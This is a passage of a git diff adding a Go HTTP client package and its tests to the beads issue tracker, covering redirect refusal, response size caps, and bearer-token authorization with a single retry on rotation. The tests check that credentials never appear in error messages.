third-party +// provider that cannot report a source is not forced to — such a provider simply +// yields no name and the 401 reads as it did before. +type credentialSourceReporter interface { + Source() string +} + +// credentialSource is the provider's current credential provenance, or "" when +// there is no provider or it cannot report one. +func credentialSource(cp CredentialProvider) string { + if r, ok := cp.(credentialSourceReporter); ok { + return r.Source() + } + return "" +} + +// resolve joins an already-escaped path and a query onto the base URL. +func (c *Client) resolve(path string, query url.Values) (*url.URL, error) { + if path == "" { + return nil, errors.New("no request path") + } + u := c.base.JoinPath(path) + if len(query) > 0 { + u.RawQuery = query.Encode() + } + return u, nil +} + +type response struct { + status int + header http.Header + body []byte +} + +// roundTrip issues one HTTP request and reads its whole bounded body. +// +// Reading the body here rather than streaming it to the caller is what makes +// the 401 retry above expressible at all: both attempts are then symmetric, and +// the request body is a []byte that can be replayed. The size cap is what makes +// that safe. +func (c *Client) roundTrip(ctx context.Context, r Request, u *url.URL, body []byte) (*response, error) { + var rdr io.Reader + if body != nil { + rdr = bytes.NewReader(body) + } + req, err := http.NewRequestWithContext(ctx, r.Method, u.String(), rdr) + if err != nil { + return nil, fmt.Errorf("%s: %w", r.Op, err) + } + req.Header.Set("Accept", "application/json, application/problem+json") + if body != nil { + req.Header.Set("Content-Type", "application/json") + } + if err := c.stampRequest(ctx, r.Op, req); err != nil { + return nil, err + } + + //nolint:gosec // G704: the URL is the workspace's configured server, resolved from the sidecar or --server-url; dialing it IS the feature. + resp, err := c.hc.Do(req) + if err != nil { + return nil, &ConnectError{Op: r.Op, ServerURL: c.base.Redacted(), Err: err} + } + defer func() { _ = resp.Body.Close() }() + + if resp.StatusCode >= 300 && resp.StatusCode < 400 { + return nil, redirectRefused(r.Op, c.base.Redacted(), resp) + } + + // One byte past the cap, so an oversized body is detected rather than + // silently truncated into a document that happens to parse. + raw, err := io.ReadAll(io.LimitReader(resp.Body, c.maxBytes+1)) + if err != nil { + return nil, &ConnectError{Op: r.Op, ServerURL: c.base.Redacted(), Err: err} + } + if int64(len(raw)) > c.maxBytes { + return nil, &ResponseTooLargeError{Op: r.Op, ServerURL: c.base.Redacted(), Limit: c.maxBytes} + } + return &response{status: resp.StatusCode, header: resp.Header, body: raw}, nil +} + +// stampRequest applies the headers every request on this surface shares: the +// backend User-Agent, the workspace-identity stamp, and the credential. +// +// It is shared by roundTrip and the stream door (stream.go) because both stamp +// the SAME three things — the Accept header and any request body are the only +// parts that differ, and the caller sets those. The Bd-Project-Id stamp rides +// EVERY request through here — the five baseline reads, both attempts of the 401 +// retry, and the watch connect — because a server that has drifted to a +// different project must refuse before it reads or writes rather than answer +// silently against the wrong workspace (projectExempt is false for events:watch, +// so the stream is stamped like everything else). The value was validated at +// New, so Set cannot corrupt the header. +func (c *Client) stampRequest(ctx context.Context, op string, req *http.Request) error { + req.Header.Set("User-Agent", c.userAgent) + // The client's own declared wire shape (see ClientWireRevision's doc), + // stamped on every request including the context fetch itself: a server + // whose min_client_wire_revision has moved past what this build speaks + // refuses with the typed wire_revision_unsupported problem rather than + // silently answering a body this client has already said it cannot decode. + req.Header.Set(WireRevisionHeader, strconv.Itoa(ClientWireRevision)) + if c.expectID != "" { + req.Header.Set(ProjectIDHeader, c.expectID) + } + if c.creds != nil { + if err := c.creds.Authorize(ctx, req); err != nil { + return fmt.Errorf("%s: authorizing the request to bd serve at %s: %w", op, c.base.Redacted(), err) + } + } + return nil +} + +// ConnectError is a failure to get an answer at all: DNS, dial, TLS, a reset +// mid-body, or the caller's own context expiring. It is deliberately not a +// ProblemError — the server said nothing. +type ConnectError struct { + Op string + ServerURL string + Err error +} + +func (e *ConnectError) Error() string { + return fmt.Sprintf("cannot reach bd serve at %s: %v", e.ServerURL, e.Err) +} + +func (e *ConnectError) Unwrap() error { return e.Err } + +// ErrRedirected reports that the server answered with a redirect, which this +// client refuses to follow. +var ErrRedirected = errors.New("bd serve answered with a redirect") + +// RedirectRefusedError is a 3xx this client did not follow. Following it would +// replay the Authorization header at whatever host the Location named; a bd +// serve does not redirect, so a 30x means the URL points at something else — +// a proxy login page, a CDN, an HTTPS upgrade — and saying so beats leaking a +// token to find out. +type RedirectRefusedError struct { + Op string + ServerURL string + Status int + // Location is the redirect target with its query and any userinfo stripped: + // it is server-controlled text on its way into a log line, and the scheme, + // host and path are the whole of what diagnoses this. + Location string +} + +func (e *RedirectRefusedError) Error() string { + if e.Location == "" { + return fmt.Sprintf("%s: bd serve at %s answered %d; redirects are refused", e.Op, e.ServerURL, e.Status) + } + return fmt.Sprintf("%s: bd serve at %s answered %d redirecting to %s; redirects are refused (the URL does not point at a bd serve)", + e.Op, e.ServerURL, e.Status, e.Location) +} + +func (e *RedirectRefusedError) Unwrap() error { return ErrRedirected } + +func redirectRefused(op, serverURL string, resp *http.Response) *RedirectRefusedError { + e := &RedirectRefusedError{Op: op, ServerURL: serverURL, Status: resp.StatusCode} + if loc, err := url.Parse(resp.Header.Get("Location")); err == nil && loc.String() != "" { + loc.User = nil + loc.RawQuery = "" + loc.Fragment = "" + e.Location = loc.Redacted() + } + return e +} + +// ErrResponseTooLarge reports that a response body exceeded the client's cap. +var ErrResponseTooLarge = errors.New("response from bd serve is too large") + +// ResponseTooLargeError is a body past Options.MaxResponseBytes. The cap is +// named in the text because raising it is the only recovery, and because the +// far likelier cause is a URL that does not point at a bd serve at all. +type ResponseTooLargeError struct { + Op string + ServerURL string + Limit int64 +} + +func (e *ResponseTooLargeError) Error() string { + return fmt.Sprintf("%s: response from bd serve at %s exceeds the %d-byte limit", e.Op, e.ServerURL, e.Limit) +} + +func (e *ResponseTooLargeError) Unwrap() error { return ErrResponseTooLarge } diff --git a/internal/httpclient/wire/client_test.go b/internal/httpclient/wire/client_test.go new file mode 100644 index 000000000..4340f4471 --- /dev/null +++ b/internal/httpclient/wire/client_test.go @@ -0,0 +1,349 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/client_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "context" + "errors" + "fmt" + "io" + "net/http" + "net/http/httptest" + "net/url" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/types" +) + +func TestEveryRequestCarriesTheUserAgentAndAcceptsBothMediaTypes(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + _, _ = w.Write([]byte(`{}`)) + }) + var out map[string]any + if err := c.Do(ctx(t), Request{Op: OpGetContext, Method: http.MethodGet, Path: PathContext}, &out); err != nil { + t.Fatalf("Do: %v", err) + } + got := rec.at(t, 0).header + if ua := got.Get("User-Agent"); ua != DefaultUserAgent { + t.Errorf("User-Agent = %q, want %q", ua, DefaultUserAgent) + } + // problem+json has to be acceptable or a strict server could refuse to send + // the very document this client dispatches on. + if accept := got.Get("Accept"); !strings.Contains(accept, "application/problem+json") { + t.Errorf("Accept = %q, want it to include application/problem+json", accept) + } +} + +func TestTheUserAgentIsOverridable(t *testing.T) { + // The build version lives in package main, which this package may not + // import, so the activation layer stamps it in. + c, rec := newTestClient(t, Options{UserAgent: "bd/1.1.0 (http)"}, nil, func(w http.ResponseWriter, _ *http.Request) { + _, _ = w.Write([]byte(`{}`)) + }) + var out map[string]any + if err := c.Do(ctx(t), Request{Op: OpGetContext, Method: http.MethodGet, Path: PathContext}, &out); err != nil { + t.Fatalf("Do: %v", err) + } + if ua := rec.at(t, 0).header.Get("User-Agent"); ua != "bd/1.1.0 (http)" { + t.Errorf("User-Agent = %q", ua) + } +} + +func TestBodiesRoundTripThroughTheCanonicalTypes(t *testing.T) { + // apigen's wire structs are ALIASES of internal/types, so decoding a + // response is decoding into the canonical struct — no second copy of the + // issue shape exists to drift from it. + c, rec := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, r *http.Request) { + if ct := r.Header.Get("Content-Type"); ct != "application/json" { + t.Errorf("request Content-Type = %q", ct) + } + _, _ = io.WriteString(w, `{"already_claimed":false,"issue":{"id":"ga-1","title":"wire the client","status":"in_progress","assignee":"me","priority":1}}`) + }) + + var out apigen.ClaimResponse + err := c.Do(ctx(t), Request{ + Op: OpClaimIssue, + Method: http.MethodPost, + Path: "/v0/beads/issues/ga-1:claim", + Body: apigen.ClaimRequest{Actor: "me"}, + IssueID: "ga-1", + }, &out) + if err != nil { + t.Fatalf("Do: %v", err) + } + + // The compiler is half the assertion: this only builds because + // apigen.Issue IS types.Issue. + var canonical types.Issue = out.Issue + if canonical.ID != "ga-1" || canonical.Title != "wire the client" { + t.Errorf("decoded issue = %+v", canonical) + } + if canonical.Assignee != "me" || canonical.Status != types.StatusInProgress { + t.Errorf("assignee/status did not decode: %q %q", canonical.Assignee, canonical.Status) + } + if body := string(rec.at(t, 0).body); !strings.Contains(body, `"actor":"me"`) { + t.Errorf("request body = %s", body) + } +} + +func TestRedirectsAreRefusedRatherThanFollowed(t *testing.T) { + // A followed 30x replays the Authorization header at whatever host the + // Location named. bd serve does not redirect, so a 30x means the URL points + // at something else and saying so beats leaking a token to find out. + for _, status := range []int{ + http.StatusMovedPermanently, http.StatusFound, http.StatusSeeOther, + http.StatusTemporaryRedirect, http.StatusPermanentRedirect, + } { + t.Run(http.StatusText(status), func(t *testing.T) { + elsewhere := httptest.NewServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) { + t.Error("the redirect target was dialed") + })) + t.Cleanup(elsewhere.Close) + + creds := &staticToken{tokens: []string{"secret-token"}} + c, rec := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Location", elsewhere.URL+"/login?token=leaked") + w.WriteHeader(status) + }) + + err := c.Do(ctx(t), Request{Op: OpListIssues, Method: http.MethodGet, Path: PathIssues}, &struct{}{}) + if !errors.Is(err, ErrRedirected) { + t.Fatalf("err = %v, want ErrRedirected", err) + } + var redirect *RedirectRefusedError + if !errors.As(err, &redirect) { + t.Fatalf("err is %T, want *RedirectRefusedError", err) + } + if redirect.Status != status { + t.Errorf("Status = %d, want %d", redirect.Status, status) + } + // The Location travels into a log line, so the query — which is + // where a bounce-through-a-login-page puts its secrets — is + // stripped. + if strings.Contains(redirect.Error(), "leaked") { + t.Errorf("the redirect query survived into the error: %v", redirect) + } + if !strings.Contains(redirect.Location, "/login") { + t.Errorf("Location = %q, want the path kept for diagnosis", redirect.Location) + } + if rec.count() != 1 { + t.Errorf("made %d requests, want 1", rec.count()) + } + }) + } +} + +func TestAnInjectedClientKeepsItsSettingsButNotItsRedirectPolicy(t *testing.T) { + // Forcing CheckRedirect on the caller's own *http.Client would silently + // change its behavior everywhere else it is used. + followed := &http.Client{} + base, err := url.Parse("http://127.0.0.1:1/") + if err != nil { + t.Fatalf("parse: %v", err) + } + c, err := New(base, nil, Options{HTTPClient: followed}) + if err != nil { + t.Fatalf("New: %v", err) + } + if followed.CheckRedirect != nil { + t.Error("New mutated the caller's http.Client") + } + if c.hc.CheckRedirect == nil { + t.Error("the client's copy follows redirects") + } +} + +func TestResponsesAreReadUnderAByteCap(t *testing.T) { + const cap = 512 + cases := []struct { + name string + size int + wantErr bool + }{ + {"under the cap", cap - 64, false}, + {"exactly the cap", cap, false}, + {"one byte over", cap + 1, true}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + // A JSON string padded to exactly the wanted size, so the "at the + // cap" case still parses and the assertion is about the cap rather + // than about the parser. + pad := strings.Repeat("x", tc.size-len(`{"v":""}`)) + body := fmt.Sprintf(`{"v":"%s"}`, pad) + c, _ := newTestClient(t, Options{MaxResponseBytes: cap}, nil, func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, body) + }) + var out struct { + V string `json:"v"` + } + err := c.Do(ctx(t), Request{Op: OpListIssues, Method: http.MethodGet, Path: PathIssues}, &out) + if tc.wantErr { + if !errors.Is(err, ErrResponseTooLarge) { + t.Fatalf("err = %v, want ErrResponseTooLarge", err) + } + var tooLarge *ResponseTooLargeError + if !errors.As(err, &tooLarge) || tooLarge.Limit != cap { + t.Errorf("err = %v, want the cap named", err) + } + return + } + if err != nil { + t.Fatalf("Do: %v", err) + } + if len(out.V) != len(pad) { + t.Errorf("body was truncated: got %d bytes, want %d", len(out.V), len(pad)) + } + }) + } +} + +func TestAnOversizedProblemBodyIsStillRefusedRatherThanParsed(t *testing.T) { + // The cap is on the transport, not on the success path: a hostile or broken + // server must not be able to spend the client's memory by failing. + c, _ := newTestClient(t, Options{MaxResponseBytes: 256}, nil, func(w http.ResponseWriter, _ *http.Request) { + problemJSON(w, http.StatusInternalServerError, `{"status":500,"code":"internal","detail":"`+strings.Repeat("x", 4096)+`"}`) + }) + err := c.Do(ctx(t), Request{Op: OpGetStats, Method: http.MethodGet, Path: PathStats}, &struct{}{}) + if !errors.Is(err, ErrResponseTooLarge) { + t.Fatalf("err = %v, want ErrResponseTooLarge", err) + } +} + +func TestTheContextTravelsWithTheRequest(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, r *http.Request) { + <-r.Context().Done() + }) + cancelled, cancel := context.WithCancel(context.Background()) + go cancel() + err := c.Do(cancelled, Request{Op: OpListIssues, Method: http.MethodGet, Path: PathIssues}, &struct{}{}) + if !errors.Is(err, context.Canceled) { + t.Fatalf("err = %v, want context.Canceled", err) + } + var connect *ConnectError + if !errors.As(err, &connect) { + t.Fatalf("err is %T, want *ConnectError", err) + } +} + +func TestAnUnreachableServerIsItsOwnErrorClass(t *testing.T) { + // Not a ProblemError: the server said nothing, so there is no code to + // dispatch on and the refusal taxonomy must not try. + base, err := url.Parse("http://127.0.0.1:1") + if err != nil { + t.Fatalf("parse: %v", err) + } + c, err := New(base, nil, Options{}) + if err != nil { + t.Fatalf("New: %v", err) + } + err = c.Do(ctx(t), Request{Op: OpHealth, Method: http.MethodGet, Path: PathHealth}, &struct{}{}) + var connect *ConnectError + if !errors.As(err, &connect) { + t.Fatalf("err is %T (%v), want *ConnectError", err, err) + } + var problem *ProblemError + if errors.As(err, &problem) { + t.Error("a dial failure classified as a server refusal") + } + if !strings.Contains(connect.Error(), "cannot reach bd serve at") { + t.Errorf("Error() = %q", connect.Error()) + } +} + +func TestAnUndecodableSuccessBodyFails(t *testing.T) { + cases := []struct { + name string + body string + }{ + {"empty", ""}, + {"whitespace", " \n"}, + {"not json", "hello"}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, tc.body) + }) + var out apigen.ContextResponse + err := c.Do(ctx(t), Request{Op: OpGetContext, Method: http.MethodGet, Path: PathContext}, &out) + if err == nil { + t.Fatal("a 200 that is not the documented shape was accepted") + } + if !strings.Contains(err.Error(), OpGetContext) { + t.Errorf("err = %q, want the operation named", err) + } + }) + } +} + +func TestAResponseNobodyReadsNeedsNoBody(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + w.WriteHeader(http.StatusNoContent) + }) + if err := c.Do(ctx(t), Request{Op: OpForgetMemory, Method: http.MethodDelete, Path: PathMemories + "/k"}, nil); err != nil { + t.Fatalf("Do: %v", err) + } +} + +func TestTheBaseURLIsValidatedAtConstruction(t *testing.T) { + cases := []struct { + name string + raw string + }{ + {"no scheme", "//example.invalid/"}, + {"wrong scheme", "ftp://example.invalid/"}, + {"file scheme", "file:///tmp/beads"}, + {"no host", "http:///v0"}, + // A credential in the URL would be echoed by every error naming the + // server, and the sidecar it comes from is specified to hold no token. + {"embedded credentials", "https://user:hunter2@example.invalid/"}, + {"query", "https://example.invalid/?db=x"}, + {"fragment", "https://example.invalid/#frag"}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + u, err := url.Parse(tc.raw) + if err != nil { + t.Fatalf("parse %q: %v", tc.raw, err) + } + c, err := New(u, nil, Options{}) + if err == nil { + t.Fatalf("New(%q) returned a client (%v)", tc.raw, c.BaseURL()) + } + if strings.Contains(err.Error(), "hunter2") { + t.Errorf("the password survived into the error: %v", err) + } + }) + } + if _, err := New(nil, nil, Options{}); err == nil { + t.Error("New(nil) returned no error") + } +} + +func TestATrailingSlashOnTheMountRootDoesNotDoubleTheSeparator(t *testing.T) { + var got string + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + got = r.URL.Path + _, _ = w.Write([]byte(`{}`)) + })) + t.Cleanup(srv.Close) + for _, suffix := range []string{"", "/", "///"} { + u, err := url.Parse(srv.URL + suffix) + if err != nil { + t.Fatalf("parse: %v", err) + } + c, err := New(u, nil, Options{HTTPClient: srv.Client()}) + if err != nil { + t.Fatalf("New: %v", err) + } + if err := c.Do(ctx(t), Request{Op: OpListIssues, Method: http.MethodGet, Path: PathIssues}, &struct{}{}); err != nil { + t.Fatalf("Do: %v", err) + } + if got != "/v0/beads/issues" { + t.Errorf("base %q produced path %q", srv.URL+suffix, got) + } + } +} diff --git a/internal/httpclient/wire/credential.go b/internal/httpclient/wire/credential.go new file mode 100644 index 000000000..e4e2234ec --- /dev/null +++ b/internal/httpclient/wire/credential.go @@ -0,0 +1,43 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/credential.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "context" + "net/http" +) + +// CredentialProvider authorizes outbound requests. +// +// Implementations must be safe for concurrent use, must never log or persist a +// secret, and must FAIL CLOSED: a configured source that errors aborts the +// request rather than silently downgrading to a lower rung of the ladder. That +// is the postgres credential ladder's rule +// (internal/storage/postgres/credential.go), and it is the difference between a +// misconfigured token file and an unauthenticated request nobody noticed. +// +// The interface is declared here rather than in the store package the design +// sketches it in (engdocs/design/http-client-backend.md, D5) because this is the +// only layer that consumes it; the store package aliases it, so there is still +// one type. +type CredentialProvider interface { + // Authorize adds credentials to req (Authorization: Bearer, DPoP, ...). + // A no-auth deployment — the loopback-trust OSS server, which has no token + // file at all — returns nil without modifying req. + // + // The error must not carry the credential: it travels into the client's own + // error text, which reaches logs and terminals. + Authorize(ctx context.Context, req *http.Request) error + + // Refresh is consulted after exactly one 401 on an authorized request. + // Returning retry=true re-issues that request once, through Authorize + // again; returning retry=false surfaces the 401 as it stands. + // + // This is the client half of the server's token-rotation contract + // (internal/httpapi/auth.go: the token file is re-read on a ~1s gate, so + // rotation is write {new,old}, roll the clients, drop old). A client that + // rolled mid-flight 401s once and succeeds on the retry. One retry is the + // whole window: a second 401 is a credential this server does not accept, + // and retrying it again would only turn a clear refusal into a loop. + Refresh(ctx context.Context) (retry bool, err error) +} diff --git a/internal/httpclient/wire/credential_source_test.go b/internal/httpclient/wire/credential_source_test.go new file mode 100644 index 000000000..7028e658c --- /dev/null +++ b/internal/httpclient/wire/credential_source_test.go @@ -0,0 +1,97 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/credential_source_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "context" + "errors" + "net/http" + "strings" + "testing" +) + +// sourcedToken is a CredentialProvider that can name the rung its credential came +// from — the optional Source() half the wire client consults on a 401 (design +// D7). staticToken deliberately does not implement it, so the two together cover +// both branches of credentialSource. +type sourcedToken struct { + token string + source string + retry bool + refreshN int +} + +func (s *sourcedToken) Authorize(_ context.Context, req *http.Request) error { + if s.token != "" { + req.Header.Set("Authorization", "Bearer "+s.token) + } + return nil +} + +func (s *sourcedToken) Refresh(context.Context) (bool, error) { + s.refreshN++ + return s.retry, nil +} + +func (s *sourcedToken) Source() string { return s.source } + +func TestARefusedCredentialNamesItsSource(t *testing.T) { + // The 401 the operator sees must say WHICH source held the credential the + // server refused, so they know what to rotate or fix rather than guessing + // across three rungs. + creds := &sourcedToken{token: "wrong", source: "BEADS_HTTP_TOKEN", retry: false} + c, _ := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + unauthenticated(w) + }) + + err := c.Do(ctx(t), listIssues(), &struct{}{}) + if !errors.Is(err, ErrUnauthenticated) { + t.Fatalf("err = %v, want ErrUnauthenticated", err) + } + if !strings.Contains(err.Error(), "credential from BEADS_HTTP_TOKEN") { + t.Errorf("401 does not name the credential source:\n%s", err) + } + // The provenance slug is safe; the credential itself must never appear. + if strings.Contains(err.Error(), "wrong") { + t.Errorf("the credential leaked into the 401 text: %v", err) + } +} + +func TestThe401AfterTheRotationRetryStillNamesTheSource(t *testing.T) { + // The source has to survive the one rotation retry: a client that rolled its + // credential and still 401s wants the rung named on the FINAL answer, not + // dropped because a retry happened. + creds := &sourcedToken{token: "rotated", source: "the credentials file [10.0.0.5:8080]", retry: true} + c, rec := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + unauthenticated(w) + }) + + err := c.Do(ctx(t), listIssues(), &struct{}{}) + if !errors.Is(err, ErrUnauthenticated) { + t.Fatalf("err = %v, want ErrUnauthenticated", err) + } + if rec.count() != 2 { + t.Fatalf("made %d requests, want the one retry then the refusal", rec.count()) + } + if !strings.Contains(err.Error(), "credential from the credentials file [10.0.0.5:8080]") { + t.Errorf("the post-retry 401 does not name the source:\n%s", err) + } +} + +func TestA401FromAProviderWithNoSourceIsUnadorned(t *testing.T) { + // A provider that cannot report a source — the no-auth posture, or a + // third-party provider — must not force a clause. The 401 reads as it did + // before, and nothing panics on the missing capability. + creds := &staticToken{tokens: []string{"tok"}, retry: false} + c, _ := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + unauthenticated(w) + }) + + err := c.Do(ctx(t), listIssues(), &struct{}{}) + if !errors.Is(err, ErrUnauthenticated) { + t.Fatalf("err = %v, want ErrUnauthenticated", err) + } + if strings.Contains(err.Error(), "credential from") { + t.Errorf("a sourceless provider still produced a source clause: %v", err) + } +} diff --git a/internal/httpclient/wire/credential_test.go b/internal/httpclient/wire/credential_test.go new file mode 100644 index 000000000..a0b074288 --- /dev/null +++ b/internal/httpclient/wire/credential_test.go @@ -0,0 +1,236 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/credential_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "context" + "errors" + "io" + "net/http" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" +) + +func unauthenticated(w http.ResponseWriter) { + w.Header().Set("WWW-Authenticate", "Bearer") + problemJSON(w, http.StatusUnauthorized, `{"status":401,"code":"unauthenticated","detail":"missing or invalid bearer token","request_id":"r"}`) +} + +func TestTheCredentialIsPresentedOnEveryRequest(t *testing.T) { + creds := &staticToken{tokens: []string{"tok-1"}} + c, rec := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, `{}`) + }) + for range 2 { + if err := c.Do(ctx(t), listIssues(), &struct{}{}); err != nil { + t.Fatalf("Do: %v", err) + } + } + for i := range 2 { + if got := rec.at(t, i).header.Get("Authorization"); got != "Bearer tok-1" { + t.Errorf("request %d Authorization = %q", i, got) + } + } +} + +func TestNoProviderMeansNoAuthorizationHeader(t *testing.T) { + // The tip OSS server's loopback-trust posture: there is no token file, and + // sending a header it never configured would be noise at best. + c, rec := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, `{}`) + }) + if err := c.Do(ctx(t), listIssues(), &struct{}{}); err != nil { + t.Fatalf("Do: %v", err) + } + if got := rec.at(t, 0).header.Get("Authorization"); got != "" { + t.Errorf("Authorization = %q, want none", got) + } +} + +func TestA401IsRetriedExactlyOnceThroughRefresh(t *testing.T) { + // The client half of the server's rotation contract: the token file is + // re-read on a ~1s gate, so rotation is write {new,old}, roll the clients, + // drop old — and a client rolled mid-flight 401s once and succeeds on the + // retry. + creds := &staticToken{tokens: []string{"stale", "rotated"}, retry: true} + c, rec := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, r *http.Request) { + if r.Header.Get("Authorization") != "Bearer rotated" { + unauthenticated(w) + return + } + _, _ = io.WriteString(w, `{"has_more":false,"items":[]}`) + }) + + var page apigen.IssuesPage + if err := c.Do(ctx(t), listIssues(), &page); err != nil { + t.Fatalf("Do: %v", err) + } + if rec.count() != 2 { + t.Fatalf("made %d requests, want 2", rec.count()) + } + if got := rec.at(t, 0).header.Get("Authorization"); got != "Bearer stale" { + t.Errorf("first attempt used %q", got) + } + // The retry goes back through Authorize, which is what makes the rotated + // credential reach the wire at all. + if got := rec.at(t, 1).header.Get("Authorization"); got != "Bearer rotated" { + t.Errorf("retry used %q", got) + } + if creds.refreshN != 1 { + t.Errorf("Refresh called %d times, want 1", creds.refreshN) + } +} + +func TestASecondUnauthenticatedAnswerIsNotRetriedAgain(t *testing.T) { + // One retry is the whole rotation window. A second 401 is a credential this + // server does not accept, and retrying it again would turn a clear refusal + // into a loop against an authentication endpoint. + creds := &staticToken{tokens: []string{"wrong"}, retry: true} + c, rec := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + unauthenticated(w) + }) + + err := c.Do(ctx(t), listIssues(), &struct{}{}) + if !errors.Is(err, ErrUnauthenticated) { + t.Fatalf("err = %v, want ErrUnauthenticated", err) + } + if rec.count() != 2 { + t.Errorf("made %d requests, want exactly 2", rec.count()) + } + if creds.refreshN != 1 { + t.Errorf("Refresh called %d times, want 1", creds.refreshN) + } +} + +func TestRefreshDecliningSurfacesThe401AsItStands(t *testing.T) { + // A provider that knows it has nothing new — a static token from the + // environment — declines, and the refusal reaches the caller unchanged + // rather than costing a second round trip. + creds := &staticToken{tokens: []string{"static"}, retry: false} + c, rec := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + unauthenticated(w) + }) + + err := c.Do(ctx(t), listIssues(), &struct{}{}) + if !errors.Is(err, ErrUnauthenticated) { + t.Fatalf("err = %v, want ErrUnauthenticated", err) + } + if rec.count() != 1 { + t.Errorf("made %d requests, want 1", rec.count()) + } + if creds.refreshN != 1 { + t.Errorf("Refresh called %d times, want 1", creds.refreshN) + } +} + +func TestAFailingRefreshFailsClosed(t *testing.T) { + // A configured source that errored is not a license to send the stale + // credential again, and certainly not to send none. + creds := &staticToken{tokens: []string{"stale"}, err: errors.New("token file is unreadable")} + c, rec := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + unauthenticated(w) + }) + + err := c.Do(ctx(t), listIssues(), &struct{}{}) + if err == nil { + t.Fatal("a failing credential refresh was swallowed") + } + if !strings.Contains(err.Error(), "token file is unreadable") { + t.Errorf("err = %q, want the source's own failure named", err) + } + if strings.Contains(err.Error(), "stale") { + t.Errorf("the credential survived into the error: %v", err) + } + if rec.count() != 1 { + t.Errorf("made %d requests, want 1", rec.count()) + } +} + +func TestNoProviderMeansNoRotationWindow(t *testing.T) { + // A 401 from a server this client has no credential for is a deployment + // mismatch, not a rotation: there is nothing to refresh and nothing to retry. + c, rec := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + unauthenticated(w) + }) + if err := c.Do(ctx(t), listIssues(), &struct{}{}); !errors.Is(err, ErrUnauthenticated) { + t.Fatalf("err = %v, want ErrUnauthenticated", err) + } + if rec.count() != 1 { + t.Errorf("made %d requests, want 1", rec.count()) + } +} + +func TestOnlyA401OpensTheRotationWindow(t *testing.T) { + // Every other refusal is about the request, so re-sending it with a fresh + // credential would just earn the same answer twice. + for _, status := range []int{400, 403, 404, 409, 500, 503} { + creds := &staticToken{tokens: []string{"tok"}, retry: true} + c, rec := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + problemJSON(w, status, `{"status":0,"code":"internal"}`) + }) + _ = c.Do(ctx(t), listIssues(), &struct{}{}) + if rec.count() != 1 { + t.Errorf("status %d made %d requests, want 1", status, rec.count()) + } + if creds.refreshN != 0 { + t.Errorf("status %d consulted Refresh", status) + } + } +} + +func TestTheRetriedRequestReplaysItsBody(t *testing.T) { + // The retry re-issues the SAME request. A body streamed straight from the + // caller would be spent by the first attempt and the second would post + // nothing — which on a write is a silent half-application. + creds := &staticToken{tokens: []string{"stale", "rotated"}, retry: true} + c, rec := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, r *http.Request) { + if r.Header.Get("Authorization") != "Bearer rotated" { + unauthenticated(w) + return + } + _, _ = io.WriteString(w, `{"already_claimed":false,"issue":{"id":"ga-1"}}`) + }) + + var out apigen.ClaimResponse + err := c.Do(ctx(t), Request{ + Op: OpClaimIssue, + Method: http.MethodPost, + Path: "/v0/beads/issues/ga-1:claim", + Body: apigen.ClaimRequest{Actor: "agent-7"}, + IssueID: "ga-1", + }, &out) + if err != nil { + t.Fatalf("Do: %v", err) + } + if rec.count() != 2 { + t.Fatalf("made %d requests, want 2", rec.count()) + } + first, second := string(rec.at(t, 0).body), string(rec.at(t, 1).body) + if first != second || !strings.Contains(second, `"actor":"agent-7"`) { + t.Errorf("bodies differ across the retry: %q then %q", first, second) + } +} + +func TestAnAuthorizeFailureNeverReachesTheWire(t *testing.T) { + // Fail closed at the earliest point: a request that could not be authorized + // must not be sent unauthenticated to find out what happens. + creds := &failingAuthorize{err: errors.New("no token source is configured")} + c, rec := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + t.Error("an unauthorized request was dialed") + _, _ = io.WriteString(w, `{}`) + }) + err := c.Do(ctx(t), listIssues(), &struct{}{}) + if err == nil || !strings.Contains(err.Error(), "no token source is configured") { + t.Fatalf("err = %v, want the provider's failure", err) + } + if rec.count() != 0 { + t.Errorf("made %d requests, want 0", rec.count()) + } +} + +type failingAuthorize struct{ err error } + +func (f *failingAuthorize) Authorize(context.Context, *http.Request) error { return f.err } +func (f *failingAuthorize) Refresh(context.Context) (bool, error) { return false, nil } diff --git a/internal/httpclient/wire/doc.go 